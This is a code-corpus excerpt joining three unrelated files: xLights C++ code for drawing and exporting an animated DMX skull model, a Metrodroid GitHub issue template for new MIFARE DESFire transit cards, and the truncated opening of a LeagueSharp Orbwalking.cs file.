base_color); va.AddVertex(p1.x, p1.y, base_color); va.AddVertex(p1b.x, p1b.y, base_color); va.AddVertex(p8b.x, p8b.y, base_color); va.AddVertex(p1.x, p1.y, base_color); // Draw Front of Head va.AddVertex(p1.x, p1.y, ccolor); va.AddVertex(p2.x, p2.y, ccolor); va.AddVertex(p9.x, p9.y, ccolor); va.AddVertex(p2.x, p2.y, ccolor); va.AddVertex(p9.x, p9.y, ccolor); va.AddVertex(p11.x, p11.y, ccolor); va.AddVertex(p1.x, p1.y, ccolor); va.AddVertex(p9.x, p9.y, ccolor); va.AddVertex(p10.x, p10.y, ccolor); va.AddVertex(p1.x, p1.y, ccolor); va.AddVertex(p8.x, p8.y, ccolor); va.AddVertex(p10.x, p10.y, ccolor); va.AddVertex(p2.x, p2.y, ccolor); va.AddVertex(p3.x, p3.y, ccolor); va.AddVertex(p11.x, p11.y, ccolor); va.AddVertex(p8.x, p8.y, ccolor); va.AddVertex(p10.x, p10.y, ccolor); va.AddVertex(p12.x, p12.y, ccolor); va.AddVertex(p3.x, p3.y, ccolor); va.AddVertex(p11.x, p11.y, ccolor); va.AddVertex(p16.x, p16.y, ccolor); va.AddVertex(p7.x, p7.y, ccolor); va.AddVertex(p8.x, p8.y, ccolor); va.AddVertex(p12.x, p12.y, ccolor); va.AddVertex(p3.x, p3.y, ccolor); va.AddVertex(p4.x, p4.y, ccolor); va.AddVertex(p16.x, p16.y, ccolor); va.AddVertex(p10.x, p10.y, ccolor); va.AddVertex(p12.x, p12.y, ccolor); va.AddVertex(p14.x, p14.y, ccolor); va.AddVertex(p10.x, p10.y, ccolor); va.AddVertex(p11.x, p11.y, ccolor); va.AddVertex(p14.x, p14.y, ccolor); va.AddVertex(p11.x, p11.y, ccolor); va.AddVertex(p14.x, p14.y, ccolor); va.AddVertex(p16.x, p16.y, ccolor); va.AddVertex(p12.x, p12.y, ccolor); va.AddVertex(p13.x, p13.y, ccolor); va.AddVertex(p14.x, p14.y, ccolor); va.AddVertex(p14.x, p14.y, ccolor); va.AddVertex(p15.x, p15.y, ccolor); va.AddVertex(p16.x, p16.y, ccolor); // Draw Lower Mouth va.AddVertex(p4m.x, p4m.y, ccolor); va.AddVertex(p6m.x, p6m.y, ccolor); va.AddVertex(p7m.x, p7m.y, ccolor); va.AddVertex(p4m.x, p4m.y, ccolor); va.AddVertex(p5m.x, p5m.y, ccolor); va.AddVertex(p6m.x, p6m.y, ccolor); va.AddVertex(p7m.x, p7m.y, ccolor); va.AddVertex(p12m.x, p12m.y, ccolor); va.AddVertex(p13m.x, p13m.y, ccolor); va.AddVertex(p13m.x, p13m.y, ccolor); va.AddVertex(p14m.x, p14m.y, ccolor); va.AddVertex(p15m.x, p15m.y, ccolor); va.AddVertex(p4m.x, p4m.y, ccolor); va.AddVertex(p15m.x, p15m.y, ccolor); va.AddVertex(p16m.x, p16m.y, ccolor); // Draw Eyes va.AddCircleAsTriangles(left_eye_socket.x, left_eye_socket.y, scale*sf*0.25, black, black); va.AddCircleAsTriangles(right_eye_socket.x, right_eye_socket.y, scale*sf*0.25, black, black); va.AddCircleAsTriangles(left_eye.x, left_eye.y, scale*sf*0.10, eye_color, eye_color); va.AddCircleAsTriangles(right_eye.x, right_eye.y, scale*sf*0.10, eye_color, eye_color); va.Finish(GL_TRIANGLES); } void DmxSkulltronix::DrawModelOnWindow(ModelPreview* preview, DrawGLUtils::xl3Accumulator &va, const xlColor *c, float &sx, float &sy, float &sz, bool active) { if (!IsActive()) return; float pan_angle, pan_angle_raw, tilt_angle, nod_angle, jaw_pos, eye_x, eye_y; float jaw_range_of_motion = -4.0f; float eye_range_of_motion = 3.8f; int channel_value; size_t NodeCount = Nodes.size(); bool beam_off = false; if (pan_channel > NodeCount || tilt_channel > NodeCount || red_channel > NodeCount || green_channel > NodeCount || blue_channel > NodeCount) { return; } xlColor ccolor(xlWHITE); xlColor pnt_color(xlRED); xlColor eye_color(xlWHITE); xlColor marker_color(xlBLACK); xlColor black(xlBLACK); xlColor base_color(200, 200, 200); xlColor base_color2(150, 150, 150); xlColor color; if (c != nullptr) { color = *c; } int dmx_size = ((BoxedScreenLocation)screenLocation).GetScaleX(); float radius = (float)(dmx_size) / 2.0f; xlColor color_angle; int trans = color == xlBLACK ? blackTransparency : transparency; if (red_channel > 0 && green_channel > 0 && blue_channel > 0) { xlColor proxy; Nodes[red_channel - 1]->GetColor(proxy); eye_color.red = proxy.red; Nodes[green_channel - 1]->GetColor(proxy); eye_color.green = proxy.red; Nodes[blue_channel - 1]->GetColor(proxy); eye_color.blue = proxy.red; } if ((eye_color.red == 0 && eye_color.green == 0 && eye_color.blue == 0) || !active) { eye_color = xlWHITE; beam_off = true; } else { ApplyTransparency(eye_color, trans, trans); marker_color = eye_color; } ApplyTransparency(ccolor, trans, trans); ApplyTransparency(base_color, trans, trans); ApplyTransparency(base_color2, trans, trans); ApplyTransparency(pnt_color, trans, trans); if (pan_channel > 0) { channel_value = GetChannelValue(pan_channel - 1, true); pan_angle = ((channel_value - pan_min_limit) / (double)(pan_max_limit - pan_min_limit)) * pan_deg_of_rot + pan_orient; } else { pan_angle = 0.0f; } pan_angle_raw = pan_angle; if (tilt_channel > 0) { channel_value = GetChannelValue(tilt_channel - 1, true); tilt_angle = (1.0 - ((channel_value - tilt_min_limit) / (double)(tilt_max_limit - tilt_min_limit))) * tilt_deg_of_rot + tilt_orient; } else { tilt_angle = 0.0f; } if (nod_channel > 0) { channel_value = GetChannelValue(nod_channel - 1, true); nod_angle = (1.0 - ((channel_value - nod_min_limit) / (double)(nod_max_limit - nod_min_limit))) * nod_deg_of_rot + nod_orient; } else { nod_angle = 0.0f; } if (jaw_channel > 0) { channel_value = GetChannelValue(jaw_channel - 1, true); jaw_pos = ((channel_value - jaw_min_limit) / (double)(jaw_max_limit - jaw_min_limit)) * jaw_range_of_motion - 0.5f; } else { jaw_pos = -0.5f; } if (eye_lr_channel > 0) { channel_value = GetChannelValue(eye_lr_channel - 1, true); eye_x = (1.0 - ((channel_value - eye_lr_min_limit) / (double)(eye_lr_max_limit - eye_lr_min_limit))) * eye_range_of_motion - eye_range_of_motion / 2.0; } else { eye_x = 0.0f; } if (eye_ud_channel > 0) { channel_value = GetChannelValue(eye_ud_channel - 1, true); eye_y = ((channel_value - eye_ud_min_limit) / (double)(eye_ud_max_limit - eye_ud_min_limit)) * eye_range_of_motion - eye_range_of_motion / 2.0; } else { eye_y = 0.0f; } if (!active) { pan_angle = 0.5f * 180 + 90; tilt_angle = 0.5f * 90 + 315; nod_angle = 0.5f * 58 + 331; jaw_pos = -0.5f; eye_x = 0.5f * eye_range_of_motion - eye_range_of_motion / 2.0; eye_y = 0.5f * eye_range_of_motion - eye_range_of_motion / 2.0; } float sf = 12.0f; float scale = radius / sf; // Create Head dmxPoint3d p1(-7.5f, 13.7f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p2(7.5f, 13.7f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p3(13.2f, 6.0f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p8(-13.2f, 6.0f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p4(9, -11.4f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p7(-9, -11.4f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p5(6.3f, -16, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p6(-6.3f, -16, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p9(0, 3.5f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p10(-2.5f, -1.7f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p11(2.5f, -1.7f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p14(0, -6.5f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p12(-6, -6.5f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p16(6, -6.5f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p13(-3, -11.4f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p15(3, -11.4f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); // Create Back of Head dmxPoint3d p1b(-7.5f, 13.7f, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p2b(7.5f, 13.7f, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p3b(13.2f, 6.0f, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p8b(-13.2f, 6.0f, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p4b(9, -11.4f, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p7b(-9, -11.4f, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p5b(6.3f, -16, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p6b(-6.3f, -16, -3, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); // Create Lower Mouth dmxPoint3d p4m(9, -11.4f + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p7m(-9, -11.4f + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p5m(6.3f, -16 + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p6m(-6.3f, -16 + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p14m(0, -6.5f + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p12m(-6, -6.5f + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p16m(6, -6.5f + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p13m(-3, -11.4f + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d p15m(3, -11.4f + jaw_pos, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); // Create Eyes dmxPoint3d left_eye_socket(-5, 7.5f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d right_eye_socket(5, 7.5f, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d left_eye(-5 + eye_x, 7.5f + eye_y, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); dmxPoint3d right_eye(5 + eye_x, 7.5f + eye_y, 0.0f, sx, sy, sz, scale, pan_angle, tilt_angle, nod_angle); // Draw Back of Head va.AddVertex(p1.x, p1.y, p1.z, base_color2); va.AddVertex(p1b.x, p1b.y, p1b.z, base_color2); va.AddVertex(p2.x, p2.y, p2.z, base_color2); va.AddVertex(p2b.x, p2b.y, p2b.z, base_color2); va.AddVertex(p1b.x, p1b.y, p1b.z, base_color2); va.AddVertex(p2.x, p2.y, p2.z, base_color2); va.AddVertex(p2.x, p2.y, p2.z, base_color); va.AddVertex(p2b.x, p2b.y, p2b.z, base_color); va.AddVertex(p3.x, p3.y, p3.z, base_color); va.AddVertex(p3b.x, p3b.y, p3b.z, base_color); va.AddVertex(p2b.x, p2b.y, p2b.z, base_color); va.AddVertex(p3.x, p3.y, p3.z, base_color); va.AddVertex(p3.x, p3.y, p3.z, base_color2); va.AddVertex(p3b.x, p3b.y, p3b.z, base_color2); va.AddVertex(p4.x, p4.y, p4.z, base_color2); va.AddVertex(p4b.x, p4b.y, p4b.z, base_color2); va.AddVertex(p3b.x, p3b.y, p3b.z, base_color2); va.AddVertex(p4.x, p4.y, p4.z, base_color2); va.AddVertex(p4.x, p4.y, p4.z, base_color); va.AddVertex(p4b.x, p4b.y, p4b.z, base_color); va.AddVertex(p5.x, p5.y, p5.z, base_color); va.AddVertex(p5b.x, p5b.y, p5b.z, base_color); va.AddVertex(p4b.x, p4b.y, p4b.z, base_color); va.AddVertex(p5.x, p5.y, p5.z, base_color); va.AddVertex(p5.x, p5.y, p5.z, base_color2); va.AddVertex(p5b.x, p5b.y, p5b.z, base_color2); va.AddVertex(p6.x, p6.y, p6.z, base_color2); va.AddVertex(p6b.x, p6b.y, p6b.z, base_color2); va.AddVertex(p5b.x, p5b.y, p5b.z, base_color2); va.AddVertex(p6.x, p6.y, p6.z, base_color2); va.AddVertex(p6.x, p6.y, p6.z, base_color); va.AddVertex(p6b.x, p6b.y, p6b.z, base_color); va.AddVertex(p7.x, p7.y, p7.z, base_color); va.AddVertex(p7b.x, p7b.y, p7b.z, base_color); va.AddVertex(p6b.x, p6b.y, p6b.z, base_color); va.AddVertex(p7.x, p7.y, p7.z, base_color); va.AddVertex(p7.x, p7.y, p7.z, base_color2); va.AddVertex(p7b.x, p7b.y, p7b.z, base_color2); va.AddVertex(p8.x, p8.y, p8.z, base_color2); va.AddVertex(p8b.x, p8b.y, p8b.z, base_color2); va.AddVertex(p7b.x, p7b.y, p7b.z, base_color2); va.AddVertex(p8.x, p8.y, p8.z, base_color2); va.AddVertex(p8.x, p8.y, p8.z, base_color); va.AddVertex(p8b.x, p8b.y, p8b.z, base_color); va.AddVertex(p1.x, p1.y, p1.z, base_color); va.AddVertex(p1b.x, p1b.y, p1b.z, base_color); va.AddVertex(p8b.x, p8b.y, p8b.z, base_color); va.AddVertex(p1.x, p1.y, p1.z, base_color); // Draw Front of Head va.AddVertex(p1.x, p1.y, p1.z, ccolor); va.AddVertex(p2.x, p2.y, p2.z, ccolor); va.AddVertex(p9.x, p9.y, p9.z, ccolor); va.AddVertex(p2.x, p2.y, p2.z, ccolor); va.AddVertex(p9.x, p9.y, p9.z, ccolor); va.AddVertex(p11.x, p11.y, p11.z, ccolor); va.AddVertex(p1.x, p1.y, p1.z, ccolor); va.AddVertex(p9.x, p9.y, p9.z, ccolor); va.AddVertex(p10.x, p10.y, p10.z, ccolor); va.AddVertex(p1.x, p1.y, p1.z, ccolor); va.AddVertex(p8.x, p8.y, p8.z, ccolor); va.AddVertex(p10.x, p10.y, p10.z, ccolor); va.AddVertex(p2.x, p2.y, p2.z, ccolor); va.AddVertex(p3.x, p3.y, p3.z, ccolor); va.AddVertex(p11.x, p11.y, p11.z, ccolor); va.AddVertex(p8.x, p8.y, p8.z, ccolor); va.AddVertex(p10.x, p10.y, p10.z, ccolor); va.AddVertex(p12.x, p12.y, p12.z, ccolor); va.AddVertex(p3.x, p3.y, p3.z, ccolor); va.AddVertex(p11.x, p11.y, p11.z, ccolor); va.AddVertex(p16.x, p16.y, p16.z, ccolor); va.AddVertex(p7.x, p7.y, p7.z, ccolor); va.AddVertex(p8.x, p8.y, p8.z, ccolor); va.AddVertex(p12.x, p12.y, p12.z, ccolor); va.AddVertex(p3.x, p3.y, p3.z, ccolor); va.AddVertex(p4.x, p4.y, p4.z, ccolor); va.AddVertex(p16.x, p16.y, p16.z, ccolor); va.AddVertex(p10.x, p10.y, p10.z, ccolor); va.AddVertex(p12.x, p12.y, p12.z, ccolor); va.AddVertex(p14.x, p14.y, p14.z, ccolor); va.AddVertex(p10.x, p10.y, p10.z, ccolor); va.AddVertex(p11.x, p11.y, p11.z, ccolor); va.AddVertex(p14.x, p14.y, p14.z, ccolor); va.AddVertex(p11.x, p11.y, p11.z, ccolor); va.AddVertex(p14.x, p14.y, p14.z, ccolor); va.AddVertex(p16.x, p16.y, p16.z, ccolor); va.AddVertex(p12.x, p12.y, p12.z, ccolor); va.AddVertex(p13.x, p13.y, p13.z, ccolor); va.AddVertex(p14.x, p14.y, p14.z, ccolor); va.AddVertex(p14.x, p14.y, p14.z, ccolor); va.AddVertex(p15.x, p15.y, p15.z, ccolor); va.AddVertex(p16.x, p16.y, p16.z, ccolor); // Draw Lower Mouth va.AddVertex(p4m.x, p4m.y, p4m.z, ccolor); va.AddVertex(p6m.x, p6m.y, p6m.z, ccolor); va.AddVertex(p7m.x, p7m.y, p7m.z, ccolor); va.AddVertex(p4m.x, p4m.y, p4m.z, ccolor); va.AddVertex(p5m.x, p5m.y, p5m.z, ccolor); va.AddVertex(p6m.x, p6m.y, p6m.z, ccolor); va.AddVertex(p7m.x, p7m.y, p7m.z, ccolor); va.AddVertex(p12m.x, p12m.y, p12m.z, ccolor); va.AddVertex(p13m.x, p13m.y, p13m.z, ccolor); va.AddVertex(p13m.x, p13m.y, p13m.z, ccolor); va.AddVertex(p14m.x, p14m.y, p14m.z, ccolor); va.AddVertex(p15m.x, p15m.y, p15m.z, ccolor); va.AddVertex(p4m.x, p4m.y, p4m.z, ccolor); va.AddVertex(p15m.x, p15m.y, p15m.z, ccolor); va.AddVertex(p16m.x, p16m.y, p16m.z, ccolor); // Draw Eyes va.AddCircleAsTriangles(left_eye_socket.x, left_eye_socket.y, left_eye_socket.z, scale*sf*0.25, black, black); va.AddCircleAsTriangles(right_eye_socket.x, right_eye_socket.y, right_eye_socket.z, scale*sf*0.25, black, black); va.AddCircleAsTriangles(left_eye.x, left_eye.y, left_eye.z, scale*sf*0.10, eye_color, eye_color); va.AddCircleAsTriangles(right_eye.x, right_eye.y, right_eye.z, scale*sf*0.10, eye_color, eye_color); va.Finish(GL_TRIANGLES); } */ void DmxSkulltronix::ExportXlightsModel() { wxString name = ModelXml->GetAttribute("name"); wxLogNull logNo; //kludge: avoid "error 0" message from wxWidgets after new file is written wxString filename = wxFileSelector(_("Choose output file"), wxEmptyString, name, wxEmptyString, "Custom Model files (*.xmodel)|*.xmodel", wxFD_SAVE | wxFD_OVERWRITE_PROMPT); if (filename.IsEmpty()) return; wxFile f(filename); // bool isnew = !FileExists(filename); if (!f.Create(filename, true) || !f.IsOpened()) DisplayError(wxString::Format("Unable to create file %s. Error %d\n", filename, f.GetLastError()).ToStdString()); f.Write("<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<dmxmodel \n"); ExportBaseParameters(f); wxString pdr = ModelXml->GetAttribute("DmxPanDegOfRot", "180"); wxString tdr = ModelXml->GetAttribute("DmxTiltDegOfRot", "90"); wxString s = ModelXml->GetAttribute("DmxStyle"); wxString pc = ModelXml->GetAttribute("DmxPanChannel", "13"); wxString po = ModelXml->GetAttribute("DmxPanOrient", "90"); wxString tc = ModelXml->GetAttribute("DmxTiltChannel", "19"); wxString to = ModelXml->GetAttribute("DmxTiltOrient", "315"); wxString rc = ModelXml->GetAttribute("DmxRedChannel", "24"); wxString gc = ModelXml->GetAttribute("DmxGreenChannel", "25"); wxString bc = ModelXml->GetAttribute("DmxBlueChannel", "26"); wxString wc = ModelXml->GetAttribute("DmxWhiteChannel", "0"); wxString sc = ModelXml->GetAttribute("DmxShutterChannel", "0"); wxString so = ModelXml->GetAttribute("DmxShutterOpen", "1"); wxString tml = ModelXml->GetAttribute("DmxTiltMinLimit", "442"); wxString tmxl = ModelXml->GetAttribute("DmxTiltMaxLimit", "836"); wxString pml = ModelXml->GetAttribute("DmxPanMinLimit", "250"); wxString pmxl = ModelXml->GetAttribute("DmxPanMaxLimit", "1250"); wxString nc = ModelXml->GetAttribute("DmxNodChannel", "11"); wxString no = ModelXml->GetAttribute("DmxNodOrient", "331"); wxString ndr = ModelXml->GetAttribute("DmxNodDegOfRot", "58"); wxString nml = ModelXml->GetAttribute("DmxNodMinLimit", "452"); wxString nmxl = ModelXml->GetAttribute("DmxNodMaxLimit", "745"); wxString jc = ModelXml->GetAttribute("DmxJawChannel", "9"); wxString jml = ModelXml->GetAttribute("DmxJawMinLimit", "500"); wxString jmxl = ModelXml->GetAttribute("DmxJawMaxLimit", "750"); wxString eb = ModelXml->GetAttribute("DmxEyeBrtChannel", "23"); wxString eudc = ModelXml->GetAttribute("DmxEyeUDChannel", "15"); wxString eudml = ModelXml->GetAttribute("DmxEyeUDMinLimit", "575"); wxString eudmxl = ModelXml->GetAttribute("DmxEyeUDMaxLimit", "1000"); wxString elrc = ModelXml->GetAttribute("DmxEyeLRChannel", "17"); wxString elml = ModelXml->GetAttribute("DmxEyeLRMinLimit", "499"); wxString elrmxl = ModelXml->GetAttribute("DmxEyeLRMaxLimit", "878"); f.Write(wxString::Format("DmxPanDegOfRot=\"%s\" ", pdr)); f.Write(wxString::Format("DmxTiltDegOfRot=\"%s\" ", tdr)); f.Write(wxString::Format("DmxStyle=\"%s\" ", s)); f.Write(wxString::Format("DmxPanChannel=\"%s\" ", pc)); f.Write(wxString::Format("DmxPanOrient=\"%s\" ", po)); f.Write(wxString::Format("DmxTiltChannel=\"%s\" ", tc)); f.Write(wxString::Format("DmxTiltOrient=\"%s\" ", to)); f.Write(wxString::Format("DmxRedChannel=\"%s\" ", rc)); f.Write(wxString::Format("DmxGreenChannel=\"%s\" ", gc)); f.Write(wxString::Format("DmxBlueChannel=\"%s\" ", bc)); f.Write(wxString::Format("DmxWhiteChannel=\"%s\" ", wc)); f.Write(wxString::Format("DmxShutterChannel=\"%s\" ", sc)); f.Write(wxString::Format("DmxShutterOpen=\"%s\" ", so)); f.Write(wxString::Format("DmxTiltMinLimit=\"%s\" ", tml)); f.Write(wxString::Format("DmxTiltMaxLimit=\"%s\" ", tmxl)); f.Write(wxString::Format("DmxPanMinLimit=\"%s\" ", pml)); f.Write(wxString::Format("DmxPanMaxLimit=\"%s\" ", pmxl)); f.Write(wxString::Format("DmxNodChannel=\"%s\" ", nc)); f.Write(wxString::Format("DmxNodOrient=\"%s\" ", no)); f.Write(wxString::Format("DmxNodDegOfRot=\"%s\" ", ndr)); f.Write(wxString::Format("DmxNodMinLimit=\"%s\" ", nml)); f.Write(wxString::Format("DmxNodMaxLimit=\"%s\" ", nmxl)); f.Write(wxString::Format("DmxJawChannel=\"%s\" ", jc)); f.Write(wxString::Format("DmxJawMinLimit=\"%s\" ", jml)); f.Write(wxString::Format("DmxJawMaxLimit=\"%s\" ", jmxl)); f.Write(wxString::Format("DmxEyeBrtChannel=\"%s\" ", eb)); f.Write(wxString::Format("DmxEyeUDChannel=\"%s\" ", eudc)); f.Write(wxString::Format("DmxEyeUDMinLimit=\"%s\" ", eudml)); f.Write(wxString::Format("DmxEyeUDMaxLimit=\"%s\" ", eudmxl)); f.Write(wxString::Format("DmxEyeLRChannel=\"%s\" ", elrc)); f.Write(wxString::Format("DmxEyeLRMinLimit=\"%s\" ", elml)); f.Write(wxString::Format("DmxEyeLRMaxLimit=\"%s\" ", elrmxl)); f.Write(" >\n"); wxString submodel = SerialiseSubmodel(); if (submodel != "") { f.Write(submodel); } wxString state = SerialiseState(); if (state != "") { f.Write(state); } wxString groups = SerialiseGroups(); if (groups != "") { f.Write(groups); } f.Write("</dmxmodel>"); f.Close(); } void DmxSkulltronix::ImportXlightsModel(wxXmlNode* root, xLightsFrame* xlights, float& min_x, float& max_x, float& min_y, float& max_y) { if (root->GetName() == "dmxmodel") { ImportBaseParameters(root); wxString name = root->GetAttribute("name"); wxString v = root->GetAttribute("SourceVersion"); wxString pdr = root->GetAttribute("DmxPanDegOfRot"); wxString tdr = root->GetAttribute("DmxTiltDegOfRot"); wxString s = root->GetAttribute("DmxStyle"); wxString pc = root->GetAttribute("DmxPanChannel"); wxString po = root->GetAttribute("DmxPanOrient"); wxString psl = root->GetAttribute("DmxPanSlewLimit"); wxString tc = root->GetAttribute("DmxTiltChannel"); wxString to = root->GetAttribute("DmxTiltOrient"); wxString tsl = root->GetAttribute("DmxTiltSlewLimit"); wxString rc = root->GetAttribute("DmxRedChannel"); wxString gc = root->GetAttribute("DmxGreenChannel"); wxString bc = root->GetAttribute("DmxBlueChannel"); wxString wc = root->GetAttribute("DmxWhiteChannel"); wxString sc = root->GetAttribute("DmxShutterChannel"); wxString so = root->GetAttribute("DmxShutterOpen"); wxString bl = root->GetAttribute("DmxBeamLimit"); wxString tml = root->GetAttribute("DmxTiltMinLimit"); wxString tmxl = root->GetAttribute("DmxTiltMaxLimit"); wxString pml = root->GetAttribute("DmxPanMinLimit"); wxString pmxl = root->GetAttribute("DmxPanMaxLimit"); wxString nc = root->GetAttribute("DmxNodChannel"); wxString no = root->GetAttribute("DmxNodOrient"); wxString ndr = root->GetAttribute("DmxNodDegOfRot"); wxString nml = root->GetAttribute("DmxNodMinLimit"); wxString nmxl = root->GetAttribute("DmxNodMaxLimit"); wxString jc = root->GetAttribute("DmxJawChannel"); wxString jml = root->GetAttribute("DmxJawMinLimit"); wxString jmxl = root->GetAttribute("DmxJawMaxLimit"); wxString eb = root->GetAttribute("DmxEyeBrtChannel"); wxString eudc = root->GetAttribute("DmxEyeUDChannel"); wxString eudml = root->GetAttribute("DmxEyeUDMinLimit"); wxString eudmxl = root->GetAttribute("DmxEyeUDMaxLimit"); wxString elrc = root->GetAttribute("DmxEyeLRChannel"); wxString elml = root->GetAttribute("DmxEyeLRMinLimit"); wxString elrmxl = root->GetAttribute("DmxEyeLRMaxLimit"); // Add any model version conversion logic here // Source version will be the program version that created the custom model SetProperty("DmxPanDegOfRot", pdr); SetProperty("DmxTiltDegOfRot", tdr); SetProperty("DmxStyle", s); SetProperty("DmxPanChannel", pc); SetProperty("DmxPanOrient", po); SetProperty("DmxPanSlewLimit", psl); SetProperty("DmxTiltChannel", tc); SetProperty("DmxTiltOrient", to); SetProperty("DmxTiltSlewLimit", tsl); SetProperty("DmxRedChannel", rc); SetProperty("DmxGreenChannel", gc); SetProperty("DmxBlueChannel", bc); SetProperty("DmxWhiteChannel", wc); SetProperty("DmxShutterChannel", sc); SetProperty("DmxShutterOpen", so); SetProperty("DmxBeamLimit", bl); SetProperty("DmxTiltMinLimit", tml); SetProperty("DmxTiltMaxLimit", tmxl); SetProperty("DmxPanMinLimit", pml); SetProperty("DmxPanMaxLimit", pmxl); SetProperty("DmxNodChannel", nc); SetProperty("DmxNodOrient", no); SetProperty("DmxNodDegOfRot", ndr); SetProperty("DmxNodMinLimit", nml); SetProperty("DmxNodMaxLimit", nmxl); SetProperty("DmxJawChannel", jc); SetProperty("DmxJawMinLimit", jml); SetProperty("DmxJawMaxLimit", jmxl); SetProperty("DmxEyeBrtChannel", eb); SetProperty("DmxEyeUDChannel", eudc); SetProperty("DmxEyeUDMinLimit", eudml); SetProperty("DmxEyeUDMaxLimit", eudmxl); SetProperty("DmxEyeLRChannel", elrc); SetProperty("DmxEyeLRMinLimit", elml); SetProperty("DmxEyeLRMaxLimit", elrmxl); wxString newname = xlights->AllModels.GenerateModelName(name.ToStdString()); GetModelScreenLocation().Write(ModelXml); SetProperty("name", newname, true); ImportModelChildren(root, xlights, newname); xlights->GetOutputModelManager()->AddASAPWork(OutputModelManager::WORK_RGBEFFECTS_CHANGE, "DmxSkulltronix::ImportXlightsModel"); xlights->GetOutputModelManager()->AddASAPWork(OutputModelManager::WORK_MODELS_CHANGE_REQUIRING_RERENDER, "DmxSkulltronix::ImportXlightsModel"); } else { DisplayError("Failure loading DmxSkulltronix model file."); } }
smeighan/xLights
xLights/models/DMX/DmxSkulltronix.cpp
C++
gpl-3.0
61,427
--- name: New card (MIFARE DESFire) about: Provide information about a card we don't support that uses MIFARE DESFire. title: "[MFD]" labels: '' assignees: '' --- There's a lot of cards in the world, and asking for a card by name isn't good enough to get it supported. **We do not record expressions of interest here.** Please read https://github.com/metrodroid/metrodroid/wiki/New-cards before continuing. ## New card checklist - [ ] I have read and acknowledged the New cards wiki page. - [ ] I can provide dumps, transaction history, and balance records for more than one card from the operator. - [ ] I have attempted to understand the card format on my own. - [ ] I have provided notes on what I've found so far. ## Please answer all questions listed here: - Name of the card: - Name of the transit agency: - Transit agency's website: - Location(s): - Card media: MIFARE DESFire Is there any publicly accessible documentation for this card format? If so, provide links: Is the card similar to one we already support? (if you don't know, that's OK) Is there an official app for using the card? What application IDs are on the card? Does the card appear as "fully locked" in Metrodroid? With the data that you can read from the card, does it change after performing a transaction?
micolous/metrodroid
.github/ISSUE_TEMPLATE/new_card_mifare_desfire.md
Markdown
gpl-3.0
1,298
#region LICENSE /* Copyright 2014 - 2015 LeagueSharp Orbwalking.cs is part of LeagueSharp.Common. LeagueSharp.Common is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. LeagueSharp.Common is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with LeagueSharp.Common. If not, see <http://www.gnu.org/licenses/>. */ #endregion #region using System; using System.Collections.Generic; using System.Linq; using LeagueSharp; using LeagueSharp.Common; using SharpDX; using Color = System.Drawing.Color; #endregion namespace YasuoPro { /// <summary> /// This class offers everything related to auto-attacks and orbwalking. /// </summary> public static class Orbwalking { /// <summary> /// Delegate AfterAttackEvenH /// </summary> /// <param name="unit">The unit.</param> /// <param name="target">The target.</param> public delegate void AfterAttackEvenH(AttackableUnit unit, AttackableUnit target); /// <summary> /// Delegate BeforeAttackEvenH /// </summary> /// <param name="args">The <see cref="BeforeAttackEventArgs" /> instance containing the event data.</param> public delegate void BeforeAttackEvenH(BeforeAttackEventArgs args); /// <summary> /// Delegate OnAttackEvenH /// </summary> /// <param name="unit">The unit.</param> /// <param 